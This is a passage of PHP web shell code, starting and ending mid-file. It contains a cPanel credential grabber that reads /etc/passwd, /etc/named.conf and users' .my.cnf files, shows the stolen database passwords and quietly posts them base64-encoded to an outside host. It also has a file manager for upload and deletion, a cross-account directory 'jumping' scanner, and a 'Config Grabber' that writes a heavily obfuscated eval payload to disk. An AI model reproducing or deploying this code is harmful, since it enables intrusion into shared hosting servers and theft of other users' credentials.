                            echo "<tr><td valign=top style=border :2px solid white; width: 139px class=style2>" . $count++ . "</td><td valign=top style= width: 139px; border :2px solid white  class=style2 ><a href=http://" . $domain . ":2082 target=_blank>" . $domain . "</a></td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >" . $owner['name'] . "</td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >" . $password . "</td><td valign=top style=border :2px solid white style=width: 139px><a href=" . $owner['name'] . ".txt target=_blank>Click Here</a></td></tr>";
                            $dc++;
                            $success3 = "http://" . $domain . "|" . $owner['name'] . "|" . $password . "\r\n";
                            $ch = curl_init();
                            curl_setopt($ch, CURLOPT_URL, "http://ww3s.ws/ok.php");
                            curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
                            curl_setopt($ch, CURLOPT_POST, 1);
                            curl_setopt($ch, CURLOPT_POSTFIELDS, "result=" . base64_encode($success3));
                            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                            curl_setopt($ch, CURLOPT_HEADER, 1);
                            $buffer = curl_exec($ch);
                        }
                    }
                }
                echo "</table>";
                $total = $dc;
                echo "</center>";
            } else {
                $d0mains = @file('/etc/named.conf');
                if ($d0mains) {
                    echo "<table align=center><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
                    $count = 1;
                    $dc = 0;
                    $mck = array();
                    foreach ($d0mains as $d0main) {
                        if (@eregi('zone', $d0main)) {
                            preg_match_all('#zone "(.*)"#', $d0main, $domain);
                            flush();
                            if (strlen(trim($domain[1][0])) > 2) {
                                $mck[] = $domain[1][0];
                            }
                        }
                    }
                    $mck = array_unique($mck);
                    $usr = array();
                    $dmn = array();
                    foreach ($mck as $o) {
                        $infos = @posix_getpwuid(fileowner("/etc/valiases/" . $o));
                        $usr[] = $infos['name'];
                        $dmn[] = $o;
                    }
                    array_multisort($usr, $dmn);
                    $dt = file('/etc/passwd');
                    $passwd = array();
                    foreach ($dt as $d) {
                        $r = explode(':', $d);
                        if (strpos($r[5], 'home')) {
                            $passwd[$r[0]] = $r[5];
                        }
                    }
                    $l = 0;
                    $j = 1;
                    foreach ($usr as $r) {
                        $dirz = '/home/' . $r . '/.my.cnf';
                        $path = getcwd();
                        if (is_readable($dirz)) {
                            copy($dirz, '' . $path . '/' . $r . '.txt');
                            $p = file_get_contents('' . $path . '/' . $r . '.txt');
                            $password = entre2v2($p, 'password="', '"');
                            echo "<tr><td valign=top class=style2 style=width: 139px>" . $count++ . "</td><td valign=top class=style2 style=width: 139px><a target=_blank href=http://" . $dmn[$j - 1] . '/>' . $dmn[$j - 1] . ' </a></td><td valign=top class=style2 style=width: 139px>' . $r . "</td><td valign=top class=style2 style=width: 139px>" . $password . "</td><td valign=top class=style2 style=width: 139px><a href='" . $r . ".txt' target='_blank'>Click Here</a></td></tr>";
                            $dc++;
                            flush();
                            $l = $l ? 0 : 1;
                            $j++;
                        }
                    }
                }
                echo "</table>";
                $total = $dc;
                echo '<br><div class=result valign=top class=style2 style=width: 139px >Total cPanel Found = ' . $total . '</h3><br />';
                echo "</center>";
            }
        } else {
            echo "<div class=result><i><font color=#ffb101>ERROR</font><br><font color=#ffb101>/var/named</font> or <font color=#ffb101>etc/named.conf</font> Not Accessible!</i></div>";
        }
        echo " </div>";
        hardFooter();
    }
    function actionReseller()
    {
        hardHeader();
        echo "<center><h1>WHM & Reseller Finder</h1><div class=content><br>";
        echo "<br><center>  <iframe frameBorder=0 src='?reseller' width='900' height='470'></iframe></a>";
        echo "</div>";
        hardFooter();
    }
    function actionFilesMan()
    {
        if (!empty($_COOKIE['f'])) {
            $_COOKIE['f'] = @unserialize($_COOKIE['f']);
        }
        if (!empty($_POST['p1'])) {
            switch ($_POST['p1']) {
                case 'uploadFile':
                    if (is_array($_FILES['f']['tmp_name'])) {
                        foreach ($_FILES['f']['tmp_name'] as $i => $tmpName) {
                            if (!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
                                echo "Can't upload file!";
                            }
                        }
                    }
                    break;
                case 'mkdir':
                    if (!@mkdir($_POST['p2'])) {
                        echo "Can't create new dir";
                    }
                    break;
                case 'delete':
                    function deleteDir($path)
                    {
                        $path = substr($path, -1) == '/' ? $path : $path . '/';
                        $dh = opendir($path);
                        while (($asciifnc6 = readdir($dh)) !== false) {
                            $asciifnc6 = $path . $asciifnc6;
                            if (basename($asciifnc6) == ".." || basename($asciifnc6) == ".") {
                                continue;
                            }
                            $type = filetype($asciifnc6);
                            if ($type == "dir") {
                                deleteDir($asciifnc6);
                            } else {
                                @unlink($asciifnc6);
                            }
                        }
                        closedir($dh);
                        @rmdir($path);
                    }
                    if (is_array(@$_POST['f'])) {
                        foreach ($_POST['f'] as $f) {
                            if ($f == '..') {
                                continue;
                            }
                            $f = urldecode($f);
                            if (is_dir($f)) {
                                deleteDir($f);
                            } else {
                                @unlink($f);
                            }
                        }
                    }
                    break;
                case 'paste':
                    if ($_COOKIE['act'] == 'copy') {
                        function copy_paste($c, $s, $d)
                        {
                            if (is_dir($c . $s)) {
                                mkdir($d . $s);
                                $h = @opendir($c . $s);
                                while (($f = @readdir($h)) !== false) {
                                    if ($f != "." and $f != "..") {
                                        copy_paste($c . $s . '/', $f, $d . $s . '/');
                                    }
                                }
                            } elseif (is_file($c . $s)) {
                                @copy($c . $s, $d . $s);
                            }
                        }
                        foreach ($_COOKIE['f'] as $f) {
                            copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                        }
                    } elseif ($_COOKIE['act'] == 'move') {
                        function move_paste($c, $s, $d)
                        {
                            if (is_dir($c . $s)) {
                                mkdir($d . $s);
                                $h = @opendir($c . $s);
                                while (($f = @readdir($h)) !== false) {
                                    if ($f != "." and $f != "..") {
                                        copy_paste($c . $s . '/', $f, $d . $s . '/');
                                    }
                                }
                            } elseif (@is_file($c . $s)) {
                                @copy($c . $s, $d . $s);
                            }
                        }
                        foreach ($_COOKIE['f'] as $f) {
                            @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                        }
                    } elseif ($_COOKIE['act'] == 'zip') {
                        if (class_exists('ZipArchive')) {
                            $zip = new ZipArchive();
                            if ($zip->open($_POST['p2'], 1)) {
                                chdir($_COOKIE['c']);
                                foreach ($_COOKIE['f'] as $f) {
                                    if ($f == '..') {
                                        continue;
                                    }
                                    if (@is_file($_COOKIE['c'] . $f)) {
                                        $zip->addFile($_COOKIE['c'] . $f, $f);
                                    } elseif (@is_dir($_COOKIE['c'] . $f)) {
                                        $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                        foreach ($iterator as $key => $value) {
                                            $zip->addFile(realpath($key), $key);
                                        }
                                    }
                                }
                                chdir($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    } elseif ($_COOKIE['act'] == 'unzip') {
                        if (class_exists('ZipArchive')) {
                            $zip = new ZipArchive();
                            foreach ($_COOKIE['f'] as $f) {
                                if ($zip->open($_COOKIE['c'] . $f)) {
                                    $zip->extractTo($GLOBALS['cwd']);
                                    $zip->close();
                                }
                            }
                        }
                    } elseif ($_COOKIE['act'] == 'tar') {
                        chdir($_COOKIE['c']);
                        $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                        ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                        chdir($GLOBALS['cwd']);
                    }
                    unset($_COOKIE['f']);
                    setcookie('f', '', time() - 3600);
                    break;
                default:
                    if (!empty($_POST['p1'])) {
                        prototype('act', $_POST['p1']);
                        prototype('f', serialize(@$_POST['f']));
                        prototype('c', @$_POST['c']);
                    }
                    break;
            }
        }
        hardHeader();
        echo "<h1>File manager</h1><div class=content><script>p1_=p2_=p3_=\"\";</script>";
        $dirContent = hardScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
        if ($dirContent === false) {
            echo "Can't open this folder!";
            hardFooter();
            return;
        }
        global $sort;
        $sort = array('name', 1);
        if (!empty($_POST['p1'])) {
            if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
                $sort = array($match[1], (int) $match[2]);
            }
        }
        echo "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == 'checkbox')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width='100%' class='main' cellspacing='0' cellpadding='2'>\r\n<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
        $dirs = $files = array();
        $n = count($dirContent);
        for ($i = 0; $i < $n; $i++) {
            $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
            $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
            $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
            if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
                $files[] = array_merge($tmp, array('type' => 'file'));
            } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
                $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
            } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != ".") {
                $dirs[] = array_merge($tmp, array('type' => 'dir'));
            }
        }
        $GLOBALS['sort'] = $sort;
        function cmp($a, $b)
        {
            if ($GLOBALS['sort'][0] != 'size') {
                return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
            } else {
                return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
            }
        }
        usort($files, "cmp");
        usort($dirs, "cmp");
        $files = array_merge($dirs, $files);
        $l = 0;
        foreach ($files as $f) {
            echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
            $l = $l ? 0 : 1;
        }
        echo "<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=''>\r\n\t<input type=hidden name=a value='FilesMan'>\r\n\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\r\n\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n\t<label><select name='p1'>";
        if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) {
            echo "<option value='paste'>\xe2\x86\xb3 Paste</option>";
        }
        echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
        if (class_exists('ZipArchive')) {
            echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
        }
        echo "<option value='tar'>+ tar.gz</option>";
        echo "</select></label>";
        if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && ($_COOKIE['act'] == 'zip' || $_COOKIE['act'] == 'tar')) {
            echo " file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
        }
        echo "<input type='submit' value='submit'></td></tr></form></table></div>";
        hardFooter();
    }
    function actionStringTools()
    {
        hardHeader();
        echo "<center><h1>Jumping :D</h1><div class=content><br>";
        $i = 0;
        @ini_set('display_errors', 0);
        echo "<pre><div class='margin: 5px auto;'>";
        $etc = fopen("/etc/passwd", "r") or die("<font color=white>Can't read /etc/passwd</font>");
        while ($passwd = fgets($etc)) {
            if ($passwd == '' || !$etc) {
                echo "<font color=white>Can't read /etc/passwd</font>";
            } else {
                preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
                foreach ($user_jumping[1] as $user_khoer_jump) {
                    $user_jumping_dir = "/home/{$user_khoer_jump}/public_html";
                    if (is_readable($user_jumping_dir)) {
                        $i++;
                        $jrw = "[<font color=white>R</font>] <a href='?path={$user_jumping_dir}'><font color=#ffb101>{$user_jumping_dir}</font></a>";
                        if (is_writable($user_jumping_dir)) {
                            $jrw = "[<font color=white>RW</font>] <a href='?path={$user_jumping_dir}'><font color=#ffb101>{$user_jumping_dir}</font></a>";
                        }
                        echo $jrw;
                        if (function_exists('posix_getpwuid')) {
                            $domain_jump = file_get_contents("/etc/named.conf");
                            if ($domain_jump == '') {
                                echo " => ( <font color=white>I can't take the domain name</font> )<br>";
                            } else {
                                preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
                                foreach ($domains_jump[1] as $dj) {
                                    $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/{$dj}"));
                                    $user_jumping_url = $user_jumping_url['name'];
                                    if ($user_jumping_url == $user_khoer_jump) {
                                        echo " => ( <u>{$dj}</u> )<br>";
                                        break;
                                    }
                                }
                            }
                        } else {
                            echo "<br>";
                        }
                    }
                }
            }
        }
        if ($i == 0) {
        } else {
            echo "<br>Total " . $i . " Directory " . gethostbyname($_SERVER['HTTP_HOST']) . "";
        }
        echo "</div></pre>";
        echo "</div>";
        hardFooter();
    }
    function actionSafeMode()
    {
        hardHeader();
        echo "<center><h1>Config Grabber</h1><div class=content><br>";
        @ini_set('display_errors', 0);
        $cgi_dir = mkdir('priv_sym', 0755);
        chdir('priv_sym');
        $file_mass = "conf.php";
        $mass_script = "PD9waHANCiRuYW1lPSJaWFpoYkNVeU9DVXlObkYxYjNRbE0wSWxNMFlsTWpabmRDVXpRaVV5Tm5GMWIzUWxNMEl1WjNwMWJtTnZiWEJ5WlhOekpUSTRaM3AxYm1OdmJYQnlaWE56SlRJNFozcHBibVpzWVhSbEpUSTRaM3BwYm1ac1lYUmxKVEk0WjNwcGJtWnNZWFJsSlRJNFltRnpaVFkwWDJSbFkyOWtaU1V5T0hOMGNuSmxkaVV5T0NVeU5ITjBjaVV5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXpRZz09IjsgJHN0cj0iRHBDQ0taTEVQd2xCL2Y0RFM2alAwdkx4QlRjK3lRaVBua1BIS0JjUGswL1BEVUYyT01Fc2pvais5R1FHWFNOUm05bFVQdEFxS2Z6U3RIWEtGVTlYeUNBVnZxWTRaSmRKMEhkRjFYSDAra0hsQTFxUEZNdlE1TmdJQ2hYeFVlUnBCT000TnhrTGZEQXBwcXZuN0hqdWxUWnJvWWp6RUQ4bWh5N3lFTzg3YXN6ZTNSMmU4eGNrUkc0dnZoYW13dlV2MHdFbEI5UlVHenc0cllaZ3hmRE1adXk4Vm1xSmtSTVZOb2tCcCthV0xNdHN4a2ljbERvT3QzZW5yYTRSTDVhM2VqN0ltVGk2bjd5b1ZOYzc1S2dyMWpsa2loZGdPNFcrcVpGeWlLdHpESk8vZzd3clhWcHFBeThKTDVEQ1NvTmhxOUdBSUFkQWNqcmxDQUVRREtJcE1uRmQ2ekNyVDNWa2Z1WVB4WG0wb3BrYktTZGcveG1hMGFpTnR5cFNyTTN5M0loVmd2Wm5FdEl4VCtzeTFhRkYyeTNJeWcxYWw4WGdVcjRWamxhVWlVbWFlKzFPL3F0WFZId213TEt3d1R2Y1kxQmt4L2pEQTdGK3Bwd2JvU0pXQk00dzFlalFPUFZjZ21kakVYNisvRVU0eGJKTDJlZ2FDZHkzVXFDYnh2dlk1R2F4bFcvekRNRFRGeFBYTHBRZCszbGxEaFBGVC9qS0ZVTGlOZHlzdkRxaGtWaTRMWG1FYm84SHdzZXFKdGdtV1NTOU9oeU5PRlN0c0kxNmZ5b0IxQWtkTGprUU1lTWo5TlJRS0ZYeC9pRDRmVXNwcDZaWkNjVk5OWWlROEtVR2prRmhzaWNOaVcvbk14eUVwdFpobnhzQnlDZTVOVnlJVXByYWhtYVRldUlBYTBpMWplUkx1bHVvZk8vRzdNbnlSemxlZXdKZmo4c09UZkwrbDRRcEtCeXp5RHFsVDNlOGxvcUFaYjI5d2k2QW1LV2s3SXVobGtCdlkvQ21JUi9aTmpKQWE4V3hENUt2NXpvb3VWS1owMFUxVVkza2dBb0dVNG1pNXA1QjMvZ3BxeEcwYUkwMUlKQjdTYUV5SWVyTGY4bXpQcTd0Uk80S1hXazRtUUZLc1FVWkhJVGM1aEZpSzdBWkNLLzdrUm1oeUVCZEJtZ2dUTXFqZmxqMnFCQVprbThPcGdKSEdYbUp3WjR4NE1CTXBFS2JqV1I0ZDk2U0ZKREFuOCtPN2VIOFB4aENCTFNKdk5OZG9DdEVjNDErM1k0TXZzay96OXVDMlg0Zzl6NExMZGxubWw4RUhIVFhpYkw4WVFNU2RuODF2aFRFb1FCS1A5cUxpWkdLa0NSQ3Rlb2s3REpNR0kyaG9MVWM5b05DUmR3RFIxRjZlNE5ERVVObXlIbUd4SU1GYU5QMUFBdTRFSDV2NGtmaUxGZ0Z4RnZIajhQeiszL0hIaHZvM09DRXk4WVdVMERyOGdMWjBZRTdmQ0N3YzJnUENYUVdrRG5EQWRIRDduQTNMZCtTVDgxL29IMU41U1V3eG5OQXhtVWU4RzRhZnVQeTc2S01HWXFXNVJ4OHRaYTduSHBydVVMYlNIZ01pd0Y0VXRMYnBkNVVuZmhaajM2T3Y2Q0FnaUhkUjRnZ2hCcFJDTy9lZkFGd2VYTVBiTHFIRVF4bFlNOXN1VVo1QjNkZDc2R2k0dGZVY0dEM1VkME4zdXhTN1BiVUlUdzNkTkh1bXMwTVJ3dEVsTFpBeVVuSWV1RDdMSEpOTkduYzk3RzMxbEtEdHhJaE1GcG9CUEJmT2tJaE5wdU9RQVBDQ2Fsb3Z0d2hJaEdJam5tZnZ4ajEvbFVBVERvKzl4eGQ5VFhjQWV6MFVqOStuSDV6VEptbmMySkhoVmtIRVJkbVRJVjVUMkFDUTlobW5YNHNha0JRcHRyVE5MQ3RoQXVaa0wweCtXUnVjc2ZTcGJOaG9CdVFBcXV2QjVnRHQvVW5YQVFzd0tBaDB5WHU1SGMycmUwS0UwRG8vNnNUL21kV0NnSFh2b2wzQkdZTUZYMndLaWd3UmZPRDJnaVJEV09LdVl6cWRleGxYZXR1QklHNEV3NnE0NExBNGNsdXY4STZncUFzTmdsQ3NlZ1dEWURoY0pJTS9qb1hFVXlYUW9VNTB3eVdESVhOeHBFeFJjbVFnV1FBcEE1d0ZxMXUvZjBGKzVZQVNIZ0NSSVBvRkNReVFKVWgxUWdRNXpyNFFEUmhNa05VQ2JJWnlDUm9YS0QvUTJmMmVNM0JTY1pkdDVHY3ZGZkFocFFDU1daclRYZjZsU2VlWVN5NDBRSEJ3TGczTTZaYzNoTTR2ek5BQ3JKZ1VBbkZjY3AyS1FoUTVqUG5Kc1JJa0gxTGZSZU1sd3FDV0xVR0Zud3hJQ0lLaHlDQXg5d245aEJVTTVZUXI1VVh6OXJPNVltemQvazNwTEg1aUx3aGs3ejhvLzJldlhKQnpBdGhOTEJtZG02T1lLYXNMTVA3UHZKSWlwUFRuVk1CMjhUQUFLZDIyeUNCZTBDRTkyWXBHelo0L3NhdWh4TytHV0cyTmJMeUFFR0hoVTQrQjVCQ1prRzJaY1AxOS9LMGpFRE1xN0hCQWY3MzJaUVgxbEhZVm5NWDlEK1ZONlZjMUlxVStWNkw2eEtnclJxcG14d3ZxTkpFUVRnZTRWVEZEZWEwR000SWluZUdpbFcxSkhLaTBEdkJZcGZjS1JUU2NjTzgvQUZlazVqMEpHU210d2VhbWxkOHIzZVNPUVRqdVZoTCtTcnR3QzZxQ2M2Q2lTMEFwN0lORUpvRktYako0eXNwVUFpaG5pdDYzdXpiSlhLZk95VU9LWDhwbm1lMlVYV0s4NFo4OXUrd21YdnZ6eWM0cE53MDhTdTN6THIya0w2Znd1VmZrb2IzeUdvMHlycE5rS3RtenNpdURCWTUwWXRTd2tySUhtREM0bXlueFR0djZiWVhYS21iNkJ2bnJwMTRleVpsNlpsNVZ0L1R0SGpodHFNS3V2RVBWSXBBZDd0Mi9waGRmLzBTVWxYT2RiSFJ0ZW5FM0FTNXZnbHRybjMya2J1MjMwNnRrL28yUGZ6bnRsalA5cGV2ZHJiOS9ubTM4L1hJUUhmYVlBN2lSQ1p2TzBoc0p4UVV3bXVXdGk1QUdaazhIUVRReTgyR3hkU1BmQkdObnZ4SXgrMFl3aTVuUHFZaEhRZG56b1NrbStPbTladmkzbmZEUzJabmYxeHZOQ1praVpQZkxsM3d1bmlobktBM2FRSU1KYk15b0FwbnJoV2FmdWhKL3Q1enJ1ZWpMZzhZTFpaai9uRGlScFZzYWRiL1dMUkdyTVhDdHR3ZHR2NzV6MkNhMmlIRktITmMvbk9ac0hzWjlLSGpIYnRTelZjNmtCYnN5ZDR5RlYreExQN0huOEJ6NTIvcEN2MzcyT2ZDc1ZoUFFyWkg1bDdEVncyOU5QdGd4SksyWWhJdmRWTGM4bVF6RHpSUElQMG84QXp6NHp4ZlEwMnpXbUxFWlJSYXNCeGp1c3JRTWhUSmxUWXZobUgydFlSODFIeHBVMFBNV3FDaEJtVFdGa28rYU9RWUxuQWg4V0NZRVMzZXdnWnlhQnMwUEhNRHdFUHpINEkvbjZtRWVQQnVPR1UzbVptaTg5QU9mOU5oNzZRbHhVYUdsZStWWm9OZUp2RkVBQ3lKUThhekNlQXhQM0NUMitrM1Z2bjJiV2tHQ3Y5aGlrME5zUTlpM054S2twV29FSFA2TUR4VnNPYklCWUh4UUhSaDJRZmtVbWZoZmRJVmhXZ2wzWWt5WFJBYVJ6NmJOMmoxM3MxcmJaamtBenNYRGJHS3d1MG5CZDJmbiswdFB2dDVhcVJrQVNsMlZIM1p4ZWl2Tm9qSXNJVlRsWHFzV0hrVVJyUzNGdWRVWUN2SEdmbE01SnhLVnRaQWNuUEhzVm93dHJmZ3FQcmNWR0F5RXJpSTNMR1dGbWk5Q2RlUTVKbnQxU0RsRUpzd0ZCYlBuRHJlUDc1QmZRa2sxK2docE5Rd0pLZWEwMWFXNjRITDRqZWFPYW1vcWhkTFNlQnFzYnhKYmtRSTlMWXVIMzBLVUpoYmJaOHlJdUFVK3h6Sm1KbTg4MWFVN0ljOTRFeTlSTi83NStKSTlDQTZKaE1LNEZQS0xXTElTakFUYnIyRXp0MXJySVZlTWJWaEtXRWlwSTdRejdsdGpGR3JmNjl2Zi8rOTVDMmFtdWlYODZWT2NqUis4M3FZMUhoSWw3TjRIdVlxRzBZSi9pMWJEYzRtMTlXb1RTNDE4cFo5N0pxOHZybCtJM3c2Z1ZuTTBDYk9hRnI2Z2RtcEJiWjJzdy9qaVY2NHB5WTJtWWF5NTk5NlIwYzB6dllDRjZ1SUxId1lPcE5qOUxySEMxMHQ4aWxkOFU0czIzZ0RZTnY3czlLd0Q0Ym50M1ovR3d3UDkyWkQ4WThHK1M5K0duc1B4UDY3bVFqYmVIdXd4ZmNVVEFmSWFSNjdTeTlsQnVQU0dHTEV5dkY1U3o0TFZzcURQUFl5UWtqT3kzT21XOXEzL3ltbCtMNnhZSyt4aFNmK1J3emRlSkxXbjhxUTB6WHJVNUdSKzhnakthRlAyeno3UGZYZVFNVEtkU3J6TzNSanhhWlNkbDk3M05NTllyVTFXSnBMV2F0bHplOUF0ZFREcUtQOUpjTUdUQ0FkZDJjQUJrUU1Tdk8yM0Z2bjc4ZkZLdjlVN3hWN2NpWDlOcWdjQndKZTFMb0M5RlE5OXBnZ0JVUGVLY1lBIjsgJHRleHQgPSAiU3kxTHpOSElLTW5OS1M1SVRjNU16RW5PU0N3cWprOUpUYzVQU2RVb0xjcUJzcElTaTFQTlRHRGlLbm1KdWFtYVFHQU5BQT09IjsgZXZhbCAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJHRleHQpKSk7IGV4aXQ7ID8+";
        $mass = fopen($file_mass, "w");
        fwrite($mass, "<?php\r\n\$name=\"ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNHN0ciUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==\"; \$str=\"DpCCKZLEPwlB/f4DS6jP0vLxBTc+yQiPnkPHKBcPk0/PDUF2OMEsjoj+9GQGXSNRm9lUPtAqKfzStHXKFU9XyCAVvqY4ZJdJ0HdF1XH0+kHlA1qPFMvQ5NgIChXxUeRpBOM4NxkLfDAppqvn7HjulTZroYjzED8mhy7yEO87asze3R2e8xckRG4vvhamwvUv0wElB9RUGzw4rYZgxfDMZuy8VmqJkRMVNokBp+aWLMtsxkiclDoOt3enra4RL5a3ej7ImTi6n7yoVNc75Kgr1jlkihdgO4W+qZFyiKtzDJO/g7wrXVpqAy8JL5DCSoNhq9GAIAdAcjrlCAEQDKIpMnFd6zCrT3VkfuYPxXm0opkbKSdg/xma0aiNtypSrM3y3IhVgvZnEtIxT+sy1aFF2y3Iyg1al8XgUr4VjlaUiUmae+1O/qtXVHwmwLKwwTvcY1Bkx/jDA7F+ppwboSJWBM4w1ejQOPVcgmdjEX6+/EU4xbJL2egaCdy3UqCbxvvY5GaxlW/zDMDTFxPXLpQd+3llDhPFT/jKFULiNdysvDqhkVi4LXmEbo8HwseqJtgmWSS9OhyNOFStsI16fyoB1AkdLjkQMeMj9NRQKFXx/iD4fUspp6ZZCcVNNYiQ8KUGjkFhsicNiW/nMxyEptZhnxsByCe5NVyIUprahmaTeuIAa0i1jeRLuluofO/G7MnyRzleewJfj8sOTfL+l4QpKByzyDqlT3e8loqAZb29wi6AmKWk7IuhlkBvY/CmIR/ZNjJAa8WxD5Kv5zoouVKZ00U1UY3kgAoGU4mi5p5B3/gpqxG0aI01IJB7SaEyIerLf8mzPq7tRO4KXWk4mQFKsQUZHITc5hFiK7AZCK/7kRmhyEBdBmggTMqjflj2qBAZkm8OpgJHGXmJwZ4x4MBMpEKbjWR4d96SFJDAn8+O7eH8PxhCBLSJvNNdoCtEc41+3Y4Mvsk/z9uC2X4g9z4LLdlnml8EHHTXibL8YQMSdn81vhTEoQBKP9qLiZGKkCRCteok7DJMGI2hoLUc9oNCRdwDR1F6e4NDEUNmyHmGxIMFaNP1AAu4EH5v4kfiLFgFxFvHj8Pz+3/HHhvo3OCEy8YWU0Dr8gLZ0YE7fCCwc2gPCXQWkDnDAdHD7nA3Ld+ST81/oH1N5SUwxnNAxmUe8G4afuPy76KMGYqW5Rx8tZa7nHpruULbSHgMiwF4UtLbpd5UnfhZj36Ov6CAgiHdR4gghBpRCO/efAFweXMPbLqHEQxlYM9suUZ5B3dd76Gi4tfUcGD3Ud0N3uxS7PbUITw3dNHums0MRwtElLZAyUnIeuD7LHJNNGnc97G31lKDtxIhMFpoBPBfOkIhNpuOQAPCCalovtwhIhGIjnmfvxj1/lUATDo+9xxd9TXcAez0Uj9+nH5zTJmnc2JHhVkHERdmTIV5T2ACQ9hmnX4sakBQptrTNLCthAuZkL0x+WRucsfSpbNhoBuQAquvB5gDt/UnXAQswKAh0yXu5Hc2re0KE0Do/6sT/mdWCgHXvol3BGYMFX2wKigwRfOD2giRDWOKuYzqdexlXetuBIG4Ew6q44LA4cluv8I6gqAsNglCsegWDYDhcJIM/joXEUyXQoU50wyWDIXNxpExRcmQgWQApA5wFq1u/f0F+5YASHgCRIPoFC